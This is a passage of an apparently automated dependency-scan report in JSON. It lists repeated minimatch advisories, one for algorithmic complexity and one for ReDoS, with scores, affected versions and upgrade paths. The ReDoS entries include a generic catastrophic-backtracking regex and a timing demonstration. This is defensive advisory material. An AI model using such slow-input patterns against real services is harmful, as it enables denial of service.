"isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If 